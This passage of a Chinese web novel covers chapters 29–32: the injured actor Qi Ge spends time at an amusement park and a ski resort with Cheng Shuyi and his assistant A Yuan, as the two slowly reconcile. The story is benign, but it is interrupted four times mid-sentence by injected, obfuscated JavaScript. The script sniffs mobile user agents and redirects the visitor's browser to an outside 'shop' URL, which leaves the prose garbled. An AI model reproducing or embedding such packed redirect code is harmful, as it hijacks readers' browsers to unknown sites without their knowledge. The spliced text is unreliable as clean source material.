至少目前可以休息几天了! “大家辛苦了,歌歌还是带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578285|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤出演的,感谢感谢。”导演带头鼓起了掌,阿远和其他工作人员也跟着鼓掌。 祁歌撑着地慢慢站起身。 他的角色刚刚才凄凄惨惨地合了眼,如今他一头乱发浸了泥水,眼睛却愈发地亮了。 听到掌声,他笑着扬起手,再弯下腰跟大家鞠躬示意。 优雅,实在是太优雅了!阿远赞叹地想。 掌声落下后,祁歌拖着沉重的脚步去换衣服。 沉重一方面是因为累,还有个原因是衣服里大概积攒了好几斤的雨水和泥沙,走起路来拖泥带水的。 尽管祁歌不是第一次演死亡的角色,但这样的戏不管演过几次,多少还是会对情绪有一定的影响。 在这样一个简单粗暴的大女主剧里,这个角色虽说是男主,也终究是个陪衬。 不管发生了什么,他的眼睛总在女主的身上,他心里总会把大部分空间留给女主。 在这个穿越到过去的世界,他的所有爱恨情长和家国大业都是如此匆匆忙忙,一夕一朝,眼一闭烟消云散。 而在那个现代的世界,他连获得女主回眸的权利都即将被剥夺。 他的感情在自己心里是千钧重,放在女主的时间线上,却轻如鸿毛。 这一切情节之中如果真的有什么意义,可能就是他真实地体会了一番情之无奈,生之艰辛。 好在,观众不会站在他的视角。 在观众的眼里,最好的女主必定值得一切的追逐与牺牲。 这样也好。 祁歌觉得自己此刻甚至需要用全部的力气来维持表面的正常,调动神经控制身体来正常行走,按照拍戏的流程逻辑回到化妆间交回衣服,再正常地面带笑容跟工作人员打着招呼。 之前的种种不适好像渐渐消失了,他的感官变得麻木起来,让他一步一步地退进某种半透明的罩子里。 “祁哥,还好吗?”阿远背着好大一个包迎上来,“需要什么吗?” “可能……需要睡个大觉?”祁歌对她笑。 阿远仔仔细细地看了他一眼:“哥,你咋有点低落呢,红包里钱太少了?” 一般演员在片场剧情里领了便当之后,都会领到剧组发的红包,聊表慰问。 只是个仪式罢了,谁也不是冲着里面的钱去的。祁歌无奈对她摇摇头。 “哦对了,说起这个……”祁歌掏出手机按了几下,阿远的手机立刻叮了一声。 “哇,”阿远看了一眼就惊讶地抬起头,“哥你给我发钱干啥?” “这几天辛苦了,”祁歌说,“放假打算做什么?” 阿远很是开心:“谢谢老板!” 她想了半天也没想出到底有什么事可做:“好累,现在只想躺平荒废掉所有时间。” “快杀青了,哥你怎么不开心?”阿远又问。 “其实我不太喜欢杀青。”祁歌说。 “为什么?” “就是……”祁歌一边上车一边随口答,“有点担心,不知道下一次开机会是什么时候。” 真是工作狂啊,阿远心想。 “那哥你打算就在剧组这边休养一下?还是……” 祁歌闻言转过头,一脸平淡地回答:“我今天回A市。” 29. 墓志铭 “哥,你有没有想过以后会用哪句话当墓志铭?”飞往A市的飞机上,阿远这样问祁歌。 “啊?……没想过。怎么突然问这个?”祁歌大感意外。 阿远为他奉上标志性白眼:“我有个建议,你可以刻上‘我没事’三个大字。” 祁歌清晨收工时一脸憔悴地说他要回A市时,阿远整个人都是石化的。 “着急去A市干什么,至少还要一周才能开拍吧!再说你那骨折能坐飞机吗?” 祁歌老神在在地点头:“我没事,已经跟导演说了我会回A市等戏。” “那你跟程姐说了吗?”阿远直接抛出了关键问题。 祁歌半天没说话。 阿远不可思议地瞪他:“你是在等着我说吗?” “可以吗?”祁歌大言不惭地问。 阿远实在没忍住对他翻白眼。 这爱翻白眼的毛病跟着这哥这辈子是改不好了。 “她不是约你出去玩吗?”祁歌颇感兴趣地问,“你不和我一起去A市?” 阿远点头:“好好好,计划是我们两个出去玩,留你一个伤病员在宾馆凄惨养伤,对不对?” 祁歌很是无辜:“或者你们可以带我一起去啊。” “拜托大哥,那是游乐场,”阿远咬牙切齿,“你拖着一根断了的肋骨能做什么项目?” “我可以……替你们看包,还有帮你们拍照。”祁歌诚恳建议。 听了这句,本来觉得纯属无稽之谈的阿远突然又有点心动。 别的不说,祁歌在演艺圈这么多年,拍照水平还是不错的。 仿佛看出了阿远的犹豫,祁歌笑笑掏出手机点了几下。 随着“叮”的一声,阿远低头看了眼手机上收到的转账数额,又迅速若无其事地锁屏。 “好吧,我就当这是工作。”她装作不为所动地说,“机票你买。” 就是这样被哄骗上了飞机。 飞机到达A市时遇到气流,稍稍有些颠簸。 阿远看了眼祁歌,只见他面色有些苍白,神情却还算自如。 “咱们俩会不会交代在这儿啊?”阿远半是担心半是开玩笑地说。 祁歌看了她一眼,表情里有些奇异的快乐与平静:“要是交代在这儿,她可能会一直记得吧……” “喂,你不会发烧了吧?”阿远难以理解地看着他,“这都开始说疯话了。” 祁歌没好气地瞪她,随即抬手虚虚护住胸口。 估计这顿颠簸着实令他有些难熬。 好在飞机终于顺利降落,阿远也大舒一口气。 “我跟程姐说了来找她,不过没说你也来了,”阿远说,“满意吗?” “她有没有说什么时候有空?”祁歌问。 “说周一忙,周二见面。”阿远低头应付着开机之后的一串未读消息,再抬头时祁歌已经推着行李走到老前面。 这人哪一点像个伤病员啊! 阿远一边追着那道瘦削的背影一边腹诽。 跟他们俩这种度假氛围不同,程书仪最近处于努力卷自己停不下来的状态。 之前安排好的日程要做,还要加入朋友来推荐的项目,最近不是在开会就是在研究。 但忙归忙,阿远既然休假要来,还是要腾出时间招呼一下。 想想祁歌应该是伤处未愈,估计只能在影视城那边养伤,还挺惨的。 到时候可以多发点游玩图片给他,慰问一下。 带着这个期待,程书仪觉得生活也算是有了点盼头。于是跟阿远碰面的前一天晚上,她又临时跟朋友约了视频,互相同步了一下各自的讯息和想法。 交流完毕已经是深夜,程书仪挂掉通话,发现祁歌刚才给她发了消息,问是否在忙。 “刚忙完,”她回道,“你一个伤员怎么这么晚还不休息。” “听说有人要去玩游乐场,嫉妒得睡不着。”祁歌回道。 程书仪觉得好笑:“谁让你受伤呢,这两天恢复得怎么样?” “小伤,完全没问题,”祁歌一点也不在乎,“书仪,问你一件事。” 程书仪没回复,一边洗漱一边等着他的问题。 那边正在输入了半天,出现了一句:“如果有多一张票,你会不会带我一起?” 程书仪噗了一口漱口水出来。 这人演什么戏呢,入戏入得这么突然吗? 她还没回复,那边又发来了新的消息:“我开玩笑的。” 程书仪叼着牙刷回复:“还以为你拍戏拍得走火入魔了。” 其实拍戏拍到走火入魔对祁歌来说也不算新鲜。 他当时接到那个活泼喜剧感插科打诨的男N号角色时,花了很长时间改掉平时过于沉稳的性格,努力浸入其中。 那段时间祁歌整个人都变得元气了很多,仿佛突然年轻了十岁。 又或者,程书仪怀疑,他即便是在学生时代也没有如此元气满满过,仿佛变了个人,每天顶着太阳去楼下跟一群中学生打篮球,还搞了个滑板在广场跟专业的小孩哥学技术。 开机在即,祁歌在家夹着嗓音念剧本,一口一个哥啊姐啊,怎么都欺负我之类的。 “来,叫我书仪姐。”程书仪听得心痒,故意逗他说。 祁歌抬头时眼神里还带着那股不设防的清纯:“书仪……姐?” 紧接着他迅速反应过来,瞪了一眼程书仪:“怎么回事,还给我下套呢?” “弟弟真可爱,”程书仪笑眯眯地揉了一把他的头,“姐姐带你吃冰淇淋。” “好。”祁歌也弯睫笑了起来,“姐姐带我去游乐场吧。” 说完这句,他收起了刻意为之的幼稚语调,敛了笑容,压低了声音:“等有空的时候,好不好?” 于是第二天在游乐场进门后的通道里,听到有人叫“书仪姐”时,程书仪还以为那是自己的幻觉。 但是她还是没忍住回头了。 那个和当年如出一辙的漂亮的年轻人就站在她身后,脖子上挂着相机,手里还拽着几只气球,歪着头冲她笑。 程书仪呆了半天,第一句脱口而出的话是:“你还做了个造型?” 这话让阿远哈哈大笑了半天。 说祁歌大早上起来开始爱美,又是卷头发又是化妆打扮,就等着惊艳登场。 “我哪有!”祁歌还不好意思起来,作势要揍阿远。 可能是动作大了点,祁歌立刻皱着眉闷哼了一声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578286|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你不应该出来乱跑,”程书仪指出,“应该静养的。” 祁歌张嘴,和阿远阴阳怪气的语调同时说出:“我没事。” “呵呵,墓志铭的事你考虑一下。”阿远拍了怕他的肩。 “什么墓志铭?”程书仪急于补课。 阿远便挽着她的手,一边讲一边亲亲热热地往前走去。 祁歌跟在后面,不着痕迹地扶了一下肋部的位置。 虽说确实没太大事儿,但疼也是真的疼啊。 他也不想这么勉强地出现在程书仪面前,但比起忍受和程书仪之间那种不清不楚遥遥相望的惦念,还是疼痛更好忍受一点。 只要这次不撒娇示弱就好了,他暗暗想,这次尽一切努力去做所有能做的事,想办法让程书仪真的开心起来,就够了。 哪怕最后还是求不到一个圆满,总算也无愧于心。 程书仪其实不太习惯被拍照片。 之前祁歌给她拍过一些照片,她大都懒得看,只偶尔在祁歌觉得拍得不错展示给她时,才称赞几句。 那时候她太忙了。 忙于在这个纷乱世界寻一个立身之处,忙于向前和向上,忙着赢。 可祁歌会记录下她夜晚加班时被屏幕照亮的脸庞,记录下她凌乱垂在沙发边的发丝,也记录下她纠结于吃什么时咬指甲的动作。 他给家里的绿植浇水,定时更换床上用品,修好坏掉的面包机和厨余粉碎机。 他做过很多努力,最后却轻飘飘地放弃了。 他这个选择,程书仪一直都是不太理解的。 因此刚才看到祁歌手里的相机时,她甚至有一瞬的退缩。 这些记录,会变成未来的收藏,还是决绝后的纪念? 程书仪心不在焉地跟着阿远进了个项目又出来,正好看到祁歌站在门口等着,有个妈妈抱着小孩问他可不可以帮忙拍照,祁歌开开心心地答应了,用手机给他们拍了好几张,最后又举起相机拍了一张。 临别时他还逗了孩子几句,笑得扶着心口咳嗽了两声,又挥挥手跟人告别。 其实今天他脸色不太好,心绪似乎也说不上明快。眼前的这种开朗形状,大约是演出来的。 演员到底是演员。 可程书仪却知道他是为了自己。 为了曾经没办法兑现的约定,即便是不凑巧身体抱恙难以相陪,也尽力想做点什么。 这样想时,再去看他,就难免会有些心疼起来。 抬头发现她们出来,祁歌立刻举起相机对着她们按了一张。 “姐姐们,”他笑着说,“午饭想吃什么?” “急什么,还早呢,再玩会儿再吃呗……哥你想吃什么?”阿远问道。 祁歌特别认真地回答:“冰淇淋。” “你什么?就你那个胃?”阿远不可置信地要揍他。 “他叫姐,你叫哥,”程书仪吐槽道,“也不知道到底什么辈分。” “我们各论各的。”祁歌答道。 时间已近中午,太阳不知不觉爬到了头顶上,给这片世界上最快乐的地方添了一丝暑热。 祁歌脑门上一片细密的汗,如同露珠一般闪烁。 程书仪当即决定现在就去吃饭。 30. 许个愿 总结来说,游乐场一日游就像是程书仪和祁歌在带孩子。 “玩够了吧?”祁歌随意撸了把头发,被汗湿的发丝被风撩乱,又缭绕在他的眼睛周围。 “其实……”阿远捧脸央求,“我还想看烟花。” 程书仪闻言先去看祁歌。 祁歌当即就笑出了声:“行行行走吧,我就舍命陪……淑女。” 阿远的拳头空中绕了一圈最终还是落在了祁歌的胳膊上。 “我都说了淑女了!”祁歌喊冤,“没天理了!” 碍于祁歌身上有伤,他们这种日常的打闹只好点到为止。 “真好啊……”阿远满足地说。 “什么真好?”程书仪问她,“揍他一顿吗?” “不是,是哥还没红,真好。” 阿远说完就被祁歌敲了脑壳。 她不服气地捂着头冲他喊:“珍惜你现在还不红的日子吧!等你红了哪还有这种平凡的生活……” “我可借你吉言吧。”祁歌还嘴道。 其实就算是在大部分人都会打扮一下的游乐场里,祁歌也是非常出挑的一个。 阿远好几次看到有小女生在偷偷拍他。 当事人显然也知道自己今天如开屏的孔雀,举手投足更刻意温润优雅,时不时地成为人群的焦点。 这样的人,应该迟早会被更多人看到吧…… “对吧程姐?”阿远去找程书仪寻求认同。 程书仪没应声,站在他们后面,回头望着灯火灿烂的商业街。 “在想什么?”祁歌不知道什么时候走到了她身边。 “在想……”程书仪说,“如果平均每天入园约3万人,按平日票三百多元推算,平均每天门票收入有一千多万元,加上……” “喂,程姐,”阿远用手指塞住耳朵,“这可是全世界最快乐的地方,能不能不要念这些经啊……” “可不,投资游乐场的大佬们应该也很快乐。”程书仪直接说结论。 祁歌站在旁边笑了起来。 “怎么样,”他开玩笑地问程书仪,“你觉得值得投吗?” “不好说,还得去关注更多资料才行。”程书仪严肃回应。 祁歌不由失笑:“好了,走吧,再不走要错过烟花了。” “哥你终于说了句人话,”阿远表示赞同,“但我们先去买点零食吃吧!” 她蹦蹦跳跳地走在前面,祁歌则跟程书仪并肩落在后面。 “看烟花的时候,你会许什么愿望?”祁歌轻声问。 程书仪一脸茫然地眨眼:“看烟花许什么愿啊,又不是流星?” “都差不多嘛,”祁歌给手里拎着的东西换了个手,笑着说,“都是夜空中的一瞬光亮,许愿效果应该也差不多吧。” 程书仪闻言半天没说话。 “怎么,作为成功者,已经想不出新的愿望了?”祁歌逗她说。 “我们就在这边怎么样?”阿远叼着雪糕回头找他们,“远是远了点,但这边有椅子可以坐一下。” 祁歌无声地松了口气。 “给,毯子,垫子,还有防蚊水。”一坐下来祁歌就给她们发了各种装备。 “好贴心啊爸爸。”阿远已经自动带入了女儿身份,随口开了句玩笑。 听了这句话,祁歌先去看了程书仪。 他也不知道自己在期待什么,或者说在害怕什么。或许此刻只有无事发生对他来说才是最安全的。 但程书仪已经弯起唇轻轻地笑了。 祁歌退了两步,举起相机悄悄拍了一张。 这样鞍前马后陪两位女生玩了一整天,祁歌感觉自己骨头都痛麻了。 这会儿连呼吸都会隐隐激起点痛楚。 可是这段时间以来,他从未像此刻这样感觉活着。 看烟花的时候,会许什么愿望呢? 祁歌发现好像自己也没有太多的愿望。 “快快乐乐,平平安安,健健康康!”阿远已经在身边开开心心地念叨起来。 快乐,平安,健康。 祁歌忽然发现自己未曾奢求过这些,哪怕只是无比微小的愿望。 烟花亮起的时候,程书仪不自觉地开始走神。 刚才祁歌说她已经是成功者,问她还有什么愿望。 她知道小说里的女孩往往会回答些……类似愿得一心人之类的话。 但那不是她。 她还想要什么呢…… 最初与祁歌相识那会儿,她想要的大概是抓住机会,安身立命。她做到了。 之前还在券商圈混迹时,她偶然看到了某行业器械的替代机会,进而主动去寻找渠道,被朋友引荐了一家准备上市的公司。当时程书仪研究了一番觉得这个机会太好了,不能错过,于是一咬牙决定投入全部身家,连房子都卖了。 也正因为那次的出手,如今才有了资金做自己的公司。虽然现在没当初打工那么繁忙,但要想持续地做出成绩,每天要考虑的事情却也很多。 看看她周围的朋友和合作伙伴们,都在欣欣向荣地打理自己的事业。 她当然也不会止步于此。 随着烟花的砰然声伴着音乐不绝于耳,程书仪望着眼前的烟花分成左右两边争奇斗艳般交替向上,逐一炸开,不由自主地开始在脑内衡量起最近在考察的两家公司。 其实在大部分大行业逻辑的公司,都只能投资预期向好,而非买兑现。 X公司的产品上市以前,大家都很看好,去年公司市值从100亿开始涨到200亿,预估未来利润一定有20亿以上。 可如今产品已经上市,那就必须保证产品及未来产品线赚的钱贴现回来能够计算出市值空间。就算现在产品卖得好,今年赚10亿,明年赚30亿,后年赚30亿……两年后竞争对手Y公司的产品上市,X公司利润必定下滑,可能贴现怎么算也算不到300-500亿。 就算竞争对手失败,股价会反转,但毕竟这种产品的原料并非垄断,这种情况可能性较小。 同理对于Y公司来说,因为公司产品还没上市,怎么算都对于现在110亿市值有巨大空间。 所以在产品上市前,随着市场阶段性变化,股价可能会持续在100-200亿,甚至在更高市值之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578287|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波动。但真的到了验证阶段,市场可能会表现得更加理性。 类似的对比在很多行业都存在。 如果去做一些大行业逻辑,就不可避免要持续面临这种博弈思考,倘若一时松懈或冲动,又正好叠加市场下行周期,就会损失较大。 想通了这一节,程书仪觉得思维明晰了不少。 在这些事情上,她相信自己的判断,也享受判断被印证时的成就感。 就像这永远上升的烟花,她想继续向前,也一定会向前。 只是,这都不是值得去许愿的事情。 是身边人的咳嗽声将程书仪从自己的思绪之中拉出来了一点。 他偏过头去,看到祁歌慢慢地喝了口水,又举起相机对着天空拍了两张。 他脸色仍是苍白,眉头微微蹙着。 “伤处疼吗?”程书仪问。 似乎是没想到她会关心自己,祁歌意外地看她一眼:“没事的,有点疼是正常的。” “要是愈合不好,影响了肺扩张的话就不正常了。”程书仪吓唬他说。 “会吗?”祁歌更为惊讶。 仿佛受伤的不是他自己一样。 程书仪送他白眼。 一朵朵火光绽放的花朵正次第在天穹上绽放,随着音乐声起起落落,将他们的脸庞映照出变幻的色彩。 可一朵的凋落和下一朵的绽放之间,会有几秒钟没有光,也没有欢呼。 空气冷寂下来的那一瞬,每个人都屏息望着天空,期待着下一刻的璀璨与热烈。 这一刻有点像人生中完成某个目标后独自思考的一个个瞬间。 曾经的光华即便再炫目,也随着时间的流逝暗淡了下去。最美的期待永远留给下一刻。 未来还会做到什么,程书仪还没那么确定。 可此时此刻,每个人都望着天空的这一刻,她却忍不住想要去看身边的人。 “祁歌。”程书仪说。 祁歌正低头调整相机设定,闻言“嗯”了一声。 “我想试试。” “什么?”祁歌抬起头望着她,眼底隐隐有什么在闪烁。 “其实我现在不缺少什么东西,”程书仪叹了口气,“说实话,我还是保持着之前的想法,就是这件事可能不会导向一个更好的结果,但是怎么说呢,就算最后还是一样,我好像也没什么损失……” 祁歌怔怔地望着她。 “如果你不说出来的话,我会觉得你现在在说一支股票。”祁歌的眼睛里光芒愈盛,嘴角却向下坠着,也不知道是要哭还是要笑。 程书仪深深看了他一眼,心绪有些复杂:“我是说我还没同意。” “我知道,”祁歌展颜笑了起来,“我会努力的。” “我还真的有点怕你过于努力了。”程书仪小声嘟囔。 毕竟祁歌基本上是一个疯子和神经病…… “担心我会去你公司门口弹琴唱歌摆蜡烛?”祁歌心情很好地问,“要不现在就列个‘不要做’清单给我,要不我可不保证会做出什么事来。” “你别逼我没到一分钟就后悔。”程书仪威胁道。 31. 求遛弯 烟花散尽后,拥挤的人群纷纷向出口走去。 祁歌尽职尽责地将他们用过的各种毯子和小物件收拾好,再帮程书仪和阿远分好她们买的纪念品。 可能坐了太久没动,加之心绪波动过大,他起身时眼前黑蒙了好久,低头扶着椅背缓了缓。 “程姐你开车了吗?”阿远问。 程书仪多看了祁歌几眼:“嗯,你们俩……在哪住?” “我们坐地铁,”阿远指了指遥远的地铁口,“在那边。” 祁歌没说什么,背着整理好的包笑眯眯地对程书仪挥手。 理论上说,现在是该告别了。 程书仪人都转过了身,却又忽然转了回来。 她身后的人还没走,仍然保持着刚才的动作望着她。 “要不然……”程书仪起了个头,又发现自己实在说不下去,“……算了没事。” 她再次转回身走了两步。 “哎哎哎你咋了哥……”阿远的声音就在这时从她身后传来。 再回头时祁歌蹲在地上,一只手撑着地面,脊背却绷直着。 阿远已经在旁边要掏糖块给他。 “我没事我没事我没事……”祁歌开口先是一串澄清,“这有个坎没站稳而已!” 他一只手护着肋部,另一只手接受了阿远的搀扶,终于艰难地站了起来,一脸龇牙咧嘴。 “这盲道也算坎吗,我看你就是平地摔吧……”阿远吐槽说。 程书仪抱臂在旁边看他们,随即叹了口气。 “走吧。”她说。 能怎么办呢,程书仪心想,也不能眼睁睁让他晕在地铁上。 “其实……”被捡回家的猫猫开口说,“我真的没事。” “我知道。”程书仪心累地说。 他这个人的观念基本上就是人没死就算没事,可以理解。 祁歌在车上吃了两口东西,又给自己续上了药,到家之后真的看上去还行。 “你那个……”程书仪示意了一下他身上,“那个固定的绷带,睡前需要帮忙摘下来吗?” 祁歌一愣,随即乖觉地开始脱衣服。 程书仪立刻条件反射地侧身避开眼神。 好家伙,好突然,她提出这个问题时并没做好裸诚相见的准备。 祁歌的笑声钻进耳朵:“喂……” 程书仪做好了心理建设才把目光投向他,只见对面人好整以暇地穿着短袖T恤,一圈弹性固定器打在衣服外面,勾勒出整个胸骨的轮廓。 嗐,不是贴身的啊……早说啊! 程书仪没好气地帮他解了绷带,有点想看看他伤处,奈何祁歌笑着推她出门:“好了,你上去休息,剩下的我都自己来。” “所以你能自己戴啊?” “对啊,也能自己解,”祁歌笑弯了眼睛,“书仪,我真没事。” 他望着程书仪气鼓鼓的脸,轻轻加了一句:“我很开心。” 第二天程书仪起床的时候祁歌已经在楼下跟保姆阿姨聊天。 “看你今天脸色还行。”程书仪对祁歌说。 祁歌无奈地从马克杯口隔着水雾望着她:“放一万个心吧,我超健康。” 程书仪报以冷笑。 “对了,”程书仪在餐桌前坐下嚼着面包说,“你这几天都没有活动吧?” “没有,”祁歌摇摇头,“剧组还要几天过来,之后再拍几天,这个剧就杀青了。” “你觉得这个剧怎么样?”程书仪有点好奇,“会火吗?” 祁歌挑了下眉:“能不能顺利上线还是一回事。” 他从岛台走到餐桌旁,拉开椅子坐在程书仪对面。 程书仪看到他动作还是有一点僵硬,想必骨折的地方还是挺疼的。 “你这两天就在家多躺躺吧,身体出问题什么事也做不了。”程书仪苦口婆心地劝导道。 祁歌装作乖巧地点头。 “你呢,最近在忙什么?”他问。 “在研究个新项目,”程书仪简单地说,“这两天可能会有点忙,但周末还没安排。” 祁歌已经见牙不见眼地笑了起来:“书仪,你可真好。” 程书仪刚咬一大口面包,差点被他突如其来的称赞噎住:“什么好?” “我还在想要怎么问呢,你就把周末给了我。”祁歌笑着说,“对了,今天下午回家吃饭吗?” “这个还不确定。”虽然不知道他为什么要问,程书仪还是如实说。 他为什么这么问,程书仪晚上一进门就知道了。 虽然阿姨也在一起忙碌,但菜是祁歌做的。 其实她下午跟朋友吃了个下午茶,这会儿并不饿。但是她确实很久没有见过祁歌这样系着围裙家庭煮夫的状态了。 还是有点想念的。 人的情感很是微妙,自己以为那些久远的记忆早已被淡忘,可熟悉的场景再出现时,这些真切的感受又会复刻般回到脑海里。 “吃过饭了吗?”祁歌问她。 他的语调非常轻松,虽然不知道花了多少时间费力做这些菜出来,却表现得好像完全不在意程书仪会不会想吃。 程书仪之前是很喜欢他这种不给人压力的状态的。 可是现在她却似乎看懂了祁歌的潜台词,他认真做这些可能让程书仪开心的事,却悄悄藏起心里的期待和可能会有的失望,不愿她有丝毫勉强。 大概一直以来,他就是这样去爱人的。 “怎么不早说你要做饭,”程书仪一边换鞋一边说,“我下午就不吃茶点了。” 祁歌望着她的眼睛亮了亮。 “没关系,”他说,“少吃几口尝尝嘛。” 这次程书仪品尝菜品的时候,祁歌也拉了椅子坐在她对面,有一搭没一搭地聊天。 程书仪冷眼看去,每个菜他都只意思地夹了点,比只是“尝尝”的程书仪吃得还少。 “你哪不舒服啊?”她直接问道。 “嗯?”祁歌猛地抬起头,神色有一瞬的茫然。 “我看你最近瘦了好多,脸色也不太好,”程书仪悉数指出,“拍戏太累了?” “其实也还好,”祁歌笑起来,“正好最近没什么工作,可以休养一阵子。” “没什么工作?”程书仪蹙起眉,“公司没给你安排试镜吗?” 祁歌意义不明地嗯了一声:“应该也快了。” 听出他话音里的拒绝,程书仪也不再问,转而称赞了他做饭的手艺:“这个很好吃,难做吗?” 当然难做,肉炖煮得很软烂,还摆了精致的盘,搞得像餐厅的出菜一样。 祁歌摇摇头:“不难,你冰箱里的食材很好,感觉怎么做都不会难吃。” 说着,他笑着开起了玩笑:“我也算是沾你的光,有口福了。” 程书仪看了他一眼。 那你倒是多吃几口啊。 还是得让这人对自己的身体多上上心还行。 “……所以周末我们要不要去爬山?”祁歌问。 “啊?” 程书仪觉得他指不定脑子有点毛病。 “上次去山上拍戏,我看你还挺喜欢登山,”祁歌说,“周末有时间,我们一起去呗?” 程书仪摇头:“还是算了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578288|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你要是上了山晕在哪儿了,我怎么把你弄下来?” “怎么可能!” 祁歌的尾音慢慢弱下去,很显然自己也没多大自信。 第二天下午程书仪早早回家,正好看到祁歌系着围裙在切菜。 锅里的水气随着咕嘟的声音逐渐上升,给厨房这片区域笼罩出暖意。 “今天做了什么?”程书仪问。 祁歌背对着门,估计没听到她进来。忽然听到她讲话,整个人都是一抖。 他回头对程书仪抱怨:“走路怎么没声音啊,吓我一跳……简单煮了牛腩面,我切点葱花,马上好了。” “这都能吓到,在想什么呢?”程书仪好笑地走过来,目光却忽然一凝,“手划破了?” 祁歌顺着她的目光看下去,举起手给她看:“没,就稍微刮了一下。” 他的手细长又匀称,偏白的皮肤上留下一道淡淡的血痕。 “……跟纸糊的似的。”程书仪小声嘟囔。 于是程书仪私下去找保姆阿姨聊,说祁歌身体不好,要不在家别让他干活了,又不缺这一口吃的。 “可是我看祁先生很高兴啊,”保姆阿姨小心地说,“身体也比上次过来时好些。” “上次?”程书仪讶然,“上次怎么了?” 她还记得上次捡祁歌回家是在那次祁歌匆匆忙忙的直播结束后。祁歌来了说要找她喝酒,被她强迫去睡了。 保姆阿姨压低了声音:“上次您没问,祁先生不让我说,我也就没提……那天他睡客房,晚上起来吐了至少有四五次,最后都直不起腰了,我怕出事,还问他要不要去医院。” “有这事?”程书仪更惊讶了。 好家伙,幸好没让他喝酒,要不然家里还要出个人命。 祁歌这人就是个疯子,气人! 程书仪气呼呼从房间冲出来。 祁歌正坐在餐厅吃早餐,抬头跟她打招呼:“今天起这么早!” 程书仪没答言,没什么好气地先去看他在吃什么。 还好,看上去饭菜还挺清淡可口,祁歌也是真的在吃。 “是阿姨做的,”祁歌说,“说你特意嘱咐她做的养胃餐,谢谢你啊书仪。” “我哪有?”程书仪话都出口才想起来好像还真的有提过一次,于是话音的尾音逐渐心虚。 祁歌笑得眯起了眼:“对了,要不然我们周末去滑雪吧?” 程书仪翻了个白眼,对他这种小狗求遛弯的行为置之不理。 但小狗竟然是认真的。 说已经查过有家滑雪场不错,环境好教练好,最近雪的情况也不错。就是需要提前预约,最好是现在就约上。 其实很早以前程书仪是说想滑雪来着。 祁歌这人的本性其实比较宅,听说要户外运动,先如临大敌开始做攻略。今天买个保暖装备,明天买个防晒材料。 可惜直到分开,程书仪也没找到时间和他一起去滑雪。 后来程书仪和朋友去滑过一两次,学了双板又学了单板,只不过去趟滑雪场比较麻烦,渐渐地好像也没那么热衷了。 祁歌还在讲他研究的成果,像在交什么作业。 知道他是想弥补遗憾,程书仪也不想拂了他的意。 不过…… “你那个伤还没好,不能滑雪吧?”程书仪怀疑地看他。 “已经好几天了,到周末肯定没事了。”祁歌信誓旦旦,又放软了语气用小狗眼看她,“我都做了好几年功课了,一次都没去过。” “……行吧。”程书仪妥协说。 后来想想,当时完全是鬼迷心窍。 32. 来滑雪 祁歌是在去雪场的路上才得知程书仪已经学过滑雪了。 睁大眼睛一阵惊讶之后,祁歌变得肉眼可见地有点萎靡。 “我还做了很多功课呢,”他有些不平地说,“还专门去查了哪家餐厅更好吃,哪个咖啡厅比较出片……” “那我们就去吃嘛,”程书仪赶紧顺毛,“这些我真不知道!” “……我甚至查了哪个教练评分最高!”祁歌控诉道。 “你确实需要一个教练,如果你想试试的话。” 其实出发前程书仪已经跟祁歌约法三章,规定他此行只是体验一下,把自己当成小朋友玩玩雪就算了。 “我一个北方人,我花钱来雪场玩雪……”祁歌嘀咕道。 怎么说,两个人心里都觉得自己是来陪对方的,于是到了之后先在餐厅吃了个饭。 “其实来雪场不一定要滑坡道,也可以很有意思的,”程书仪安慰地对祁歌说,“可以在旁边看菜鸟摔跤,还可以看大神们炫技。” “你这说的真的不是我和你吗?”祁歌咬着叉子怀疑她在阴阳。 程书仪无辜地举起双手:“请不要毫无证据地指控。” 他们在餐厅磨蹭了好一会儿才出了门,回到雪场入口准备换上雪具去练习区玩一会儿。 结果刚进了雪场就碰到了熟人。 “书仪怎么今天有空过来?”来人正是最近给程书仪推荐了些新项目的那位朋友。 “这话我该问你吧!”程书仪有些惊讶,笑着回道。 